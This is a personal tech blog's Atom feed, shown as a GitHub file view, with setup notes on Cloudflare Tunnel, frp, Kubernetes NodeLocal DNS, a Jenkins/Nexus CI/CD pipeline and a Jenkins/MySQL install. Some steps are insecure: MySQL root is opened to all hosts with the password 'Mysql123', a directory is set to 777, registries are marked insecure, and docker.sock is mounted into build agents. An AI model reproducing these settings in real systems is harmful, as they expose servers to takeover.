-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathatom.xml
497 lines (291 loc) · 125 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>TianKong</title>
<subtitle>动静等观, 无去来处</subtitle>
<link href="https://ajasonwang.github.io/atom.xml" rel="self"/>
<link href="https://ajasonwang.github.io/"/>
<updated>2024-08-17T03:42:29.260Z</updated>
<id>https://ajasonwang.github.io/</id>
<author>
<name>Wang Jia</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>赛博佛祖内网穿透踩坑备忘</title>
<link href="https://ajasonwang.github.io/2024/08/17/cloudflare-tunnel/"/>
<id>https://ajasonwang.github.io/2024/08/17/cloudflare-tunnel/</id>
<published>2024-08-17T03:28:43.000Z</published>
<updated>2024-08-17T03:42:29.260Z</updated>
<content type="html"><![CDATA[<p>这几年赛博佛祖越来越火,于是决定把vps上frp的方案替换成tunnel方案,并决定用docker部署客户端,踩坑步骤记录如下:</p><span id="more"></span><p>1,设置 <a href="https://one.dash.cloudflare.com/">https://one.dash.cloudflare.com/</a> -> networks -> tunnels 步骤较简单,按提示操作即可;</p><p>2,踩坑步骤之一:Openwrt上新建docker目录并设置权限,不然会导致生成的cert.pem没有权限写入本地。这里需要额外说明的是 cloudflare/cloudflared 官方镜像不带sh且默认用户是nonroot,查询这个用户UID花了点时间。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell">mkdir -p /mnt/mmcblk2p4/cloudflared/config/<br>chown -R 65532:65532 /mnt/mmcblk2p4/cloudflared/<br>chmod -R 777 /mnt/mmcblk2p4/cloudflared/<br></code></pre></td></tr></table></figure><p>3,登录并生成客户端证书</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker run --rm -v /mnt/mmcblk2p4/cloudflared/config/:/home/nonroot/.cloudflared/ cloudflare/cloudflared:2024.1.5 tunnel login<br></code></pre></td></tr></table></figure><p>以上步骤完成后会生成 /mnt/mmcblk2p4/cloudflared/config/cert.pem 证书</p><p>4,踩坑步骤之二:运行cloudflared容器,这里最大的坑在于,一定需要将官方的cloudflare/cloudflared:lastet改成cloudflare/cloudflared:2024.1.5这个版本,不然会报错</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker run --name tunnel -d --restart always -v /mnt/mmcblk2p4/cloudflared/config/:/home/nonroot/.cloudflared/ cloudflare/cloudflared:2024.1.5 tunnel --no-autoupdate --protocol http2 run --token XXXX<br></code></pre></td></tr></table></figure><p>5,简单验证</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">docker run --name tunnel -d --restart always -v /mnt/mmcblk2p4/cloudflared/config/:/home/nonroot/.cloudflared/ cloudflare/cloudflared:2024.1.5 tunnel --no-autoupdate --protocol http2 run --token XXXX<br></code></pre></td></tr></table></figure><p>接下来就是访问自己的域名CNAME,看看能不能打开内网openwrt网址了。不得不说这个方案比frp简单且好用。</p><p>6,额外步骤就是关闭Openwrt上的frp服务,路径是<a href="http://xxxx/cgi-bin/luci/admin/services/frp">http://XXXX/cgi-bin/luci/admin/services/frp</a></p><p>完毕!</p>]]></content>
<summary type="html">内网穿透</summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>frp配置备忘</title>
<link href="https://ajasonwang.github.io/2024/03/17/frp/"/>
<id>https://ajasonwang.github.io/2024/03/17/frp/</id>
<published>2024-03-17T01:12:43.000Z</published>
<updated>2024-03-17T01:46:20.372Z</updated>
<content type="html"><![CDATA[<p>最近一次OP升级把frp配置搞丢了,重新设置几次不生效,于是有了这个备忘。步骤简记如下:</p><span id="more"></span><p>1,检查 cloudflare 设置的域名A记录</p><p>2,服务端检查(省去通用部分)</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs shell">[common]<br><span class="hljs-meta prompt_"># </span><span class="language-bash">如果服务端配置了主域名(subdomain_host),则客户端自定义域名不能是属于主域名(subdomain_host) 的子域名或者泛域名。</span><br>vhost_http_port = 8016<br>vhost_https_port = 8017<br>subdomain_host = wangjia.xyz<br><br>[n1]<br>type = http<br>subdomain = n1<br></code></pre></td></tr></table></figure><p>3,OP配置客户端配置 Frp 协议参数</p><ul><li>frp协议类型 http</li><li>域名类型 子域名 n1 匹配cloudflare的A记录</li><li>内网主机地址 OP的IP地址</li><li>内网主机端口 OP的端口</li></ul><p><a href="/album/frp/frp.client.settings.png"><img src="/album/frp/frp.client.settings.png"></a></p><p>4,验证</p><p><a href="/album/frp/frp.dashboard.png"><img src="/album/frp/frp.dashboard.png"></a></p>]]></content>
<summary type="html">内网穿透</summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>Nodelocaldns在最新版kubernetes集群的部署以及问题解决</title>
<link href="https://ajasonwang.github.io/2021/08/21/nodelocaldns/"/>
<id>https://ajasonwang.github.io/2021/08/21/nodelocaldns/</id>
<published>2021-08-21T03:11:14.000Z</published>
<updated>2022-11-29T01:34:23.684Z</updated>
<content type="html"><![CDATA[<p>关于K8S域名解析遭遇5秒延迟的问题(UDP并发导致的内核模块conntrack竞争),早先看到Weaveworks这篇经典文章和最近左耳朵耗子团队赵锟的视频技术分享,一直没有时间部署和验证,今天终于在PC上vagrant的集群操练一把,还是发现一些问题,值得记录一下,先放参考链接:</p><p><a href="https://www.weave.works/blog/racy-conntrack-and-dns-lookup-timeouts">Racy conntrack and DNS lookup timeouts - Weaveworks</a> 经典文章</p><p><a href="https://www.youtube.com/watch?v=HxS4s11rmyA">技术分享:Kubernetes Networking Model (赵锟)</a> 耗子出品,必属精品</p><p><a href="https://bbs.huaweicloud.com/blogs/detail/192337">Coredns+Nodelocaldns cache解决Coredns域名解析延迟</a> 华为这篇文章翻译烂,凑合看</p><span id="more"></span><table><thead><tr><th align="left">组件</th><th align="left">版本</th></tr></thead><tbody><tr><td align="left">K8S集群版本</td><td align="left">v1.21.3</td></tr><tr><td align="left">Containerd版本</td><td align="left">cri-containerd-cni-1.5.4-linux-amd64.tar.gz</td></tr><tr><td align="left">Nodelocaldns版本</td><td align="left">1.17.0</td></tr></tbody></table><p>集群基础镜像</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-bullet">- </span>pause:3.4.1<br><span class="hljs-bullet">- </span>kube-apiserver:v1.21.3<br><span class="hljs-bullet">- </span>kube-controller-manager:v1.21.3<br><span class="hljs-bullet">- </span>kube-scheduler:v1.21.3<br><span class="hljs-bullet">- </span>kube-proxy:v1.21.3<br><span class="hljs-bullet">- </span>etcd:3.4.13-0<br><span class="hljs-bullet">- </span>coredns:v1.8.0<br></code></pre></td></tr></table></figure><p>基于vagrant + ansible role的组合搭建一套集群还是很方便的,这次搭建集群顺便彻底用containerd一个解压即可用的二进制包替换了docker,也发现config.toml里面配置的insecure registry用户名密码不生效问题,尚未解决,奇怪的是ctr和crictl命令行带用户名密码去拉镜像是没问题的。</p><p>由于下载google的镜像需要一些办法,所以顺手把相关的镜像已经push在docker.io/ajasonwang下面了,部署过程精简为一个ansible role如下,已省略部分内容:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">update</span> <span class="hljs-string">kubelet</span> <span class="hljs-string">dns</span> <span class="hljs-string">setting</span><br> <span class="hljs-attr">shell:</span> <span class="hljs-string">|</span><br><span class="hljs-string"> sed -i 's/__PILLAR__DNS__SERVER__/10.96.0.10/g' /tmp/nodelocaldns.yaml</span><br><span class="hljs-string"> sed -i 's/__PILLAR__LOCAL__DNS__/169.254.20.10/g' /tmp/nodelocaldns.yaml</span><br><span class="hljs-string"> sed -i 's/__PILLAR__DNS__DOMAIN__/cluster.local/g' /tmp/nodelocaldns.yaml</span><br><span class="hljs-string"></span> <span class="hljs-attr">run_once:</span> <span class="hljs-literal">true</span><br><br><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Pull</span> <span class="hljs-string">nodelocaldns</span> <span class="hljs-string">images</span><br> <span class="hljs-attr">command:</span> <span class="hljs-string">crictl</span> <span class="hljs-string">pull</span> <span class="hljs-string">--creds</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ dockerRegistryUser }}</span>"</span><span class="hljs-string">:"{{</span> <span class="hljs-string">dockerRegistryPasswd</span> <span class="hljs-string">}}"</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ dockerInsecureRegistries }}</span>/<span class="hljs-template-variable">{{ item }}</span>"</span><br> <span class="hljs-attr">with_items:</span><br> <span class="hljs-bullet">-</span> <span class="hljs-string">k8s-dns-node-cache:1.17.0</span><br><br><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Install</span> <span class="hljs-string">nodelocaldns</span><br> <span class="hljs-attr">command:</span> <span class="hljs-string">kubectl</span> <span class="hljs-string">apply</span> <span class="hljs-string">-f</span> <span class="hljs-string">/tmp/nodelocaldns.yaml</span><br> <span class="hljs-attr">delegate_to:</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ play_hosts | first }}</span>"</span><br><br><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">update</span> <span class="hljs-string">kubelet</span> <span class="hljs-string">dns</span> <span class="hljs-string">setting</span><br> <span class="hljs-attr">shell:</span> <span class="hljs-string">|</span><br><span class="hljs-string"> sed -i 's/10.96.0.10/169.254.20.10/g' /var/lib/kubelet/config.yaml</span><br><span class="hljs-string"></span><br><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Restart</span> <span class="hljs-string">kubelet</span> <span class="hljs-string">service</span><br> <span class="hljs-attr">systemd:</span><br> <span class="hljs-attr">daemon_reload:</span> <span class="hljs-literal">yes</span><br> <span class="hljs-attr">name:</span> <span class="hljs-string">kubelet</span><br> <span class="hljs-attr">state:</span> <span class="hljs-string">restarted</span><br></code></pre></td></tr></table></figure><p>按照以上步骤部署nodelocaldns之后在worker节点尝试验证</p><figure class="highlight nestedtext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs nestedtext"><span class="hljs-attribute">cat>dnsutils-for-node-local-dns.yaml<<EOF</span><br><span class="hljs-attribute">apiVersion</span><span class="hljs-punctuation">:</span> <span class="hljs-string">v1</span><br><span class="hljs-attribute">kind</span><span class="hljs-punctuation">:</span> <span class="hljs-string">Pod</span><br><span class="hljs-attribute">metadata</span><span class="hljs-punctuation">:</span><br> <span class="hljs-attribute">name</span><span class="hljs-punctuation">:</span> <span class="hljs-string">dnsutils</span><br> <span class="hljs-attribute">namespace</span><span class="hljs-punctuation">:</span> <span class="hljs-string">default</span><br><span class="hljs-attribute">spec</span><span class="hljs-punctuation">:</span><br> <span class="hljs-attribute">containers</span><span class="hljs-punctuation">:</span><br> <span class="hljs-bullet">-</span> <span class="hljs-string">name: dnsutils</span><br> <span class="hljs-attribute">image</span><span class="hljs-punctuation">:</span> <span class="hljs-string">docker.io/ajasonwang/dnsutils:latest</span><br> <span class="hljs-attribute">command</span><span class="hljs-punctuation">:</span><br> <span class="hljs-bullet">-</span> <span class="hljs-string">sleep</span><br> <span class="hljs-bullet">-</span> <span class="hljs-string">"3600"</span><br> <span class="hljs-attribute">imagePullPolicy</span><span class="hljs-punctuation">:</span> <span class="hljs-string">IfNotPresent</span><br> <span class="hljs-attribute">restartPolicy</span><span class="hljs-punctuation">:</span> <span class="hljs-string">Always</span><br>EOF<br></code></pre></td></tr></table></figure><p>验证命令:</p><p> kubectl exec -i -t dnsutils – nslookup kubernetes.default</p><p>居然报解析不到,查看CoreDNS日志</p><p> kubectl logs –namespace=kube-system -l k8s-app=kube-dns</p><p>错误如下:</p><p> [INFO] plugin/ready: Still waiting on: “kubernetes”<br> E0819 14:15:26.023715 1 reflector.go:138] pkg/mod/k8s.io/<a href="mailto:client-go@v0.21.1">client-go@v0.21.1</a>/tools/cache/reflector.go:167: Failed to watch *v1.EndpointSlice: failed to list *v1.EndpointSlice: endpointslices.discovery.k8s.io is forbidden: User “system:serviceaccount:kube-system:coredns” cannot list resource “endpointslices” in API group “discovery.k8s.io” at the cluster scope<br> [INFO] plugin/ready: Still waiting on: “kubernetes”</p><p>进一步搜索发现这个权限错误居然是是coredns的一个bug, 于是编辑coredns的clusterrole配置</p><p> kubectl edit clusterrole system:coredns</p><p>内容,在最后面追加</p><ul><li>apiGroups:<ul><li>discovery.k8s.io<br>resources:</li><li>endpointslices<br>verbs:</li><li>list</li><li>watch</li></ul></li></ul><p>最终问题解决</p><p> [root@master1 vagrant]# kubectl exec -i -t dnsutils – nslookup kubernetes.default<br> Server: 169.254.20.10<br> Address: 169.254.20.10#53</p><p> Name: kubernetes.default.svc.cluster.local<br> Address: 10.96.0.1</p><p>K8S的新版本总是会有一些bug,好在总有早鸟走在前面。</p>]]></content>
<summary type="html"><p>关于K8S域名解析遭遇5秒延迟的问题(UDP并发导致的内核模块conntrack竞争),早先看到Weaveworks这篇经典文章和最近左耳朵耗子团队赵锟的视频技术分享,一直没有时间部署和验证,今天终于在PC上vagrant的集群操练一把,还是发现一些问题,值得记录一下,先放参考链接:</p>
<p><a href="https://www.weave.works/blog/racy-conntrack-and-dns-lookup-timeouts">Racy conntrack and DNS lookup timeouts - Weaveworks</a> 经典文章</p>
<p><a href="https://www.youtube.com/watch?v=HxS4s11rmyA">技术分享:Kubernetes Networking Model (赵锟)</a> 耗子出品,必属精品</p>
<p><a href="https://bbs.huaweicloud.com/blogs/detail/192337">Coredns+Nodelocaldns cache解决Coredns域名解析延迟</a> 华为这篇文章翻译烂,凑合看</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Kubernetes" scheme="https://ajasonwang.github.io/tags/Kubernetes/"/>
</entry>
<entry>
<title>k8s ci & cd pipeline</title>
<link href="https://ajasonwang.github.io/2020/05/23/k8s-cicd-pipeline-setup/"/>
<id>https://ajasonwang.github.io/2020/05/23/k8s-cicd-pipeline-setup/</id>
<published>2020-05-23T03:11:14.000Z</published>
<updated>2022-11-08T12:47:15.873Z</updated>
<content type="html"><![CDATA[<hr><h1 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h1><p><a href="/album/other/cicdpipeline.jpg"><img src="/album/other/cicdpipeline.jpg"></a></p><span id="more"></span><h1 id="Setup-nexus-private-registry"><a href="#Setup-nexus-private-registry" class="headerlink" title="Setup nexus private registry"></a>Setup nexus private registry</h1><h4 id="generate-ssl-certificate-and-restart-nexus"><a href="#generate-ssl-certificate-and-restart-nexus" class="headerlink" title="generate ssl certificate and restart nexus"></a>generate ssl certificate and restart nexus</h4><pre><code>export NEXUS_HOST=your_hostnameexport NEXUS_DOMAIN=your_domain_name.comexport NEXUS_IP_ADDRESS=192.168.10.10export NEXUS_SSL_PORT=7777keytool -genkeypair -keystore keystore.jks -storepass keystorePass -keypass keystorePass -alias jetty -keyalg RSA -keysize 2048 -validity 5000 -dname "CN=$NEXUS_DOMAIN, OU=Example, O=Sonatype, L=Unspecified, ST=Unspecified, C=US" -ext "SAN=DNS:$NEXUS_DOMAIN,IP:$NEXUS_IP_ADDRESS" -ext "BC=ca:true"openssl req -newkey rsa:4096 -nodes -sha256 -keyout ${nexus_home}/etc/ssl/nexus.key -x509 -days 3650 -out ${nexus_home}/etc/ssl/nexus.certls ${nexus_home}/etc/ssl/keystore.jks nexus.cert nexus.key</code></pre><h4 id="etc-nexus-default-properties"><a href="#etc-nexus-default-properties" class="headerlink" title="etc/nexus-default.properties"></a>etc/nexus-default.properties</h4><pre><code>application-port-ssl=8444nexus-args=${jetty.etc}/jetty.xml,${jetty.etc}/jetty-http.xml,${jetty.etc}/jetty-https.xml,${jetty.etc}/jetty-requestlog.xml</code></pre><h4 id="etc-nexus-properties"><a href="#etc-nexus-properties" class="headerlink" title="etc/nexus.properties"></a>etc/nexus.properties</h4><pre><code>application-port-ssl=7777</code></pre><h4 id="restart-nexus-service"><a href="#restart-nexus-service" class="headerlink" title="restart nexus service"></a>restart nexus service</h4><pre><code>${nexus_home}/bin/nexus restart</code></pre><h4 id="create-nexus-repository-and-set-Repository-Connectors-in-nexus-UI"><a href="#create-nexus-repository-and-set-Repository-Connectors-in-nexus-UI" class="headerlink" title="create nexus repository and set Repository Connectors in nexus UI"></a>create nexus repository and set Repository Connectors in nexus UI</h4><pre><code>#hosted type repository for docker pushHTTPS: 7777#group type repository for docker pullHTTPS: 8888</code></pre><h4 id="setup-ssl-trust-in-docker-client-node-not-always-necessary"><a href="#setup-ssl-trust-in-docker-client-node-not-always-necessary" class="headerlink" title="setup ssl trust in docker client node(not always necessary)"></a>setup ssl trust in docker client node(not always necessary)</h4><pre><code>#remove old certcd /etc/pki/ca-trust/source/anchorsrm –f your_domain_name.crt#client trustexport DOMAIN_NAME=your_domain_nameexport TCP_PORT=7777openssl s_client -connect $DOMAIN_NAME:$TCP_PORT -showcerts </dev/null 2>/dev/null | openssl x509 -outform PEM | tee /etc/pki/ca-trust/source/anchors/$DOMAIN_NAME.crtupdate-ca-trust</code></pre><h4 id="configure-etc-docker-daemon-json-and-restart-docker-service"><a href="#configure-etc-docker-daemon-json-and-restart-docker-service" class="headerlink" title="configure /etc/docker/daemon.json and restart docker service"></a>configure /etc/docker/daemon.json and restart docker service</h4><pre><code>{ "insecure-registries" : ["your_domain_name:7777","your_domain_name:8888"]}</code></pre><h4 id="restart-docker-service-and-login"><a href="#restart-docker-service-and-login" class="headerlink" title="restart docker service and login"></a>restart docker service and login</h4><pre><code>/bin/systemctl restart docker.service#test docker logindocker login your_domain_name:7777docker login your_domain_name:8888</code></pre><h1 id="Create-k8s-ha-cluster-with-ansible-galaxy-scrips-using-kubeadm"><a href="#Create-k8s-ha-cluster-with-ansible-galaxy-scrips-using-kubeadm" class="headerlink" title="Create k8s ha cluster with ansible-galaxy scrips using kubeadm"></a>Create k8s ha cluster with ansible-galaxy scrips using kubeadm</h1><p>ansible inventory example</p><pre><code>master1 ansible_host=192.168.10.101master2 ansible_host=192.168.10.102master3 ansible_host=192.168.10.103worker1 ansible_host=192.168.10.104worker2 ansible_host=192.168.10.105[center]worker2[k8schaos]master1[k8smaster]master2master3[k8sworker]worker1worker2</code></pre><p>install haproxy in center node, configure 3 node master as backend server</p><pre><code>haproxy_conf: | listen k8smaster bind *:6443 option tcplog mode tcp balance roundrobin option tcp-check server master1 192.168.10.101:6443 check fall 3 rise 2 server master2 192.168.10.102:6443 check fall 3 rise 2 server master3 192.168.10.103:6443 check fall 3 rise 2</code></pre><p>prepare k8s images, push to private registry and load images to nodes</p><p>install first k8schaos node with kubeadm</p><pre><code>kubeadm init --config /tmp/kubeadm-config.yml --upload-certs --v=5</code></pre><p>install two extra k8smaster node and join to cluster<br>install k8sworker node</p><h1 id="Helm-install-jenkins-service-in-k8s"><a href="#Helm-install-jenkins-service-in-k8s" class="headerlink" title="Helm install jenkins service in k8s"></a>Helm install jenkins service in k8s</h1><p>prepare images and helm charts<br>load docker images to nodes first<br>install helm and tiller</p><pre><code>kubectl apply -f rbactiller.ymlhelm init --tiller-image registry.hub.docker.com/jessestuart/tiller:v2.14.2 --stable-repo-url https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts --service-account=tiller</code></pre><p>install nfs-client-provisioner</p><pre><code>helm install --name ndp --values values.yaml --namespace ndp ./nfs-client-provisioner</code></pre><p>exec helm install for jenkins</p><pre><code>helm install --name jenkins --values values.yaml --namespace jenkins ./1.9.2/jenkins</code></pre><p>install jenkins plugins and adjust settings</p><p>update timezone and security settings:</p><p>1, System.setProperty(‘org.apache.commons.jelly.tags.fmt.timeZone’, ‘Asia/Shanghai’)<br>2, Configure Global Security -> Jenkins’ own user database -> Project-based Matrix Authorization Strategy</p><p>update slave settings:(Docker in Docker)<br>Host Path Volume:<br> /usr/bin/docker<br> /var/run/docker.sock</p><p>update default PersistentVolume recycle policy with</p><pre><code>kubectl patch pv $(kubectl get pv,pvc -n jenkins | grep -v NAME | grep jenkins/jenkins | awk '{print $1}' | cut -d'/' -f2) -p '{"spec":{"persistentVolumeReclaimPolicy":"Retain"}}'</code></pre><h1 id="Create-ci-cd-pipeline-sample-code-in-k8s-non-docker"><a href="#Create-ci-cd-pipeline-sample-code-in-k8s-non-docker" class="headerlink" title="Create ci cd pipeline sample code in k8s (non-docker)"></a>Create ci cd pipeline sample code in k8s (non-docker)</h1><pre><code>pipeline { agent { label "jenkins-jenkins-slave" } // jenkins slave with maven sonar-scanner tools ... options { buildDiscarder(logRotator(numToKeepStr: '5')) preserveStashes() { skipDefaultCheckout() } } stages { stage("Code Checkout") { steps { ... } } stage('Build') { steps { script{ try { script { try { ... } finally { } } } catch(error) { echo "First build failed, let's retry if accepted" retry(2) { // same code as above } } } } } stage('Assemble & Test') { ... } stage('Scan & Upload') { parallel { stage('Archive Artifacts') { steps { archiveArtifacts "project_name-assembly-${PKG_VERSION}-SNAPSHOT.zip" } } stage("Upload Artifacts to Nexus") { steps { nexusArtifactUploader ... } } stage("SonarQube Scan") { steps { script { if (env.ENABLE_SONAR == 'Y') { withSonarQubeEnv('dev_sonarqube') { // defined in jenkins global setting sh ''' ... ''' } sleep(120) timeout(time: 1, unit: 'MINUTES') { def qg = waitForQualityGate() if (qg.status != 'SUCCESS') { echo "Pipeline aborted due to quality gate failure: ${qg.status}" // error "Pipeline aborted due to quality gate failure: ${qg.status}" } } } else { } } } } } } stage('Deploy DEV') { agent { label "jenkins-slave-deploy" } // slave with deploy tools installed, deploy dev by default steps { script { ... } } } stage('Deploy QA') { agent { label "jenkins-slave-deploy" } when { environment name: 'DEPLOY_QA', value: 'Y' } steps { script { // refer dev deploy script } } } }}</code></pre><h1 id="Create-ci-cd-pipeline-in-k8s-build-docker-image-and-push-to-private-registry"><a href="#Create-ci-cd-pipeline-in-k8s-build-docker-image-and-push-to-private-registry" class="headerlink" title="Create ci cd pipeline in k8s (build docker image and push to private registry)"></a>Create ci cd pipeline in k8s (build docker image and push to private registry)</h1><pre><code>stage("Build Docker Image") { steps { script { def app stage('Build image') { withDockerRegistry(credentialsId: "${IMAGE_NEXUS_CREDENTIAL_ID}", url: "http://${REPO}/v1") { app = docker.build("${REPO_PUSH}/project_name/app_name-service:${env.DOMAIN}", "--label project_name/app_name-service --no-cache --pull --force-rm --build-arg REPO=${REPO} --build-arg DOMAIN=${DOMAIN} --build-arg GROUP_ID=${DOMAIN} --build-arg LAUNCHER_VERSION=${LAUNCHER_VERSION} --build-arg PKG_VERSION=${IMAGE_VERSION} --build-arg NEXUS_REPO=${NEXUS_REPO} .") } } stage('Push image') { withDockerRegistry(credentialsId: "${IMAGE_NEXUS_CREDENTIAL_ID}", url: "http://${REPO_PUSH}/v1") { app.push("${env.IMAGE_VERSION}-${env.BUILD_NUMBER}") app.push("${env.IMAGE_VERSION}-latest") } } } }}</code></pre>]]></content>
<summary type="html">在kubernetes集群建立CICD流水线备忘</summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Kubernetes" scheme="https://ajasonwang.github.io/tags/Kubernetes/"/>
</entry>
<entry>
<title>Jenkins安装配置</title>
<link href="https://ajasonwang.github.io/2017/10/14/setup-jenkins-with-delegate-to-servlet-container/"/>
<id>https://ajasonwang.github.io/2017/10/14/setup-jenkins-with-delegate-to-servlet-container/</id>
<published>2017-10-14T08:36:48.000Z</published>
<updated>2022-11-08T12:47:15.892Z</updated>
<content type="html"><![CDATA[<p>Jenkins的安装配置备忘</p><h3 id="master-setup"><a href="#master-setup" class="headerlink" title="master setup"></a>master setup</h3><h4 id="1-install-mysql"><a href="#1-install-mysql" class="headerlink" title="1, install mysql"></a>1, install mysql</h4><pre><code>use mysql;SET PASSWORD FOR 'root'@'%'=PASSWORD('Mysql123');grant all privileges on *.* to root@"%" identified by "Mysql123";mysqladmin -u root password oldpass "newpass"</code></pre><span id="more"></span><h4 id="2-install-jdk-and-tomcat"><a href="#2-install-jdk-and-tomcat" class="headerlink" title="2, install jdk and tomcat"></a>2, install jdk and tomcat</h4><p>vi ~/.bashrc</p><pre><code>alias l="ls -l"export JAVA_HOME=/var/java/jdk1.8.0_121export PATH=$JAVA_HOME/bin:$PATHexport CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar</code></pre><h4 id="3-configure-mysql"><a href="#3-configure-mysql" class="headerlink" title="3, configure mysql"></a>3, configure mysql</h4><p>create database and tables</p><pre><code>CREATE DATABASE IF NOT EXISTS jenkins DEFAULT CHARSET utf8 COLLATE utf8_general_ci;USE jenkins;CREATE TABLE user_roles (user_name VARCHAR(15) NOT NULL,role_name VARCHAR(15) NOT NULL) ENGINE=INNODB CHARSET=utf8 COLLATE=utf8_unicode_ci;CREATE TABLE users (user_name VARCHAR(15) NOT NULL,user_pass VARCHAR(250) NOT NULL) ENGINE=INNODB CHARSET=utf8 COLLATE=utf8_unicode_ci;</code></pre><p>digest password and insert data</p><pre><code>./digest.sh -a "SHA-512" -i 1000 -s 16 -k 256 -h "org.apache.catalina.realm.MessageDigestCredentialHandler" admininsert into user_roles(user_name,role_name) values ("admin","admin");insert into users(user_name,user_pass) values ("admin","b0ecf0b3b6e99c46b037e38f85c4f2ab2e73d9374b65ee81e517cff99ccb0e7e$1$b7640d2d66a16263f66eabed1f784c87"); </code></pre><h4 id="4-configure-tomcat"><a href="#4-configure-tomcat" class="headerlink" title="4, configure tomcat"></a>4, configure tomcat</h4><p>put mysql driver to tomcat lib directory</p><pre><code>➜ lib pwd/data/apache-tomcat-8.5.15/lib➜ lib ls -l mysql-connector-java-5.1.26-bin.jar -rwxr-xr-x. 1 jenkins jenkins 855948 7月 24 2013 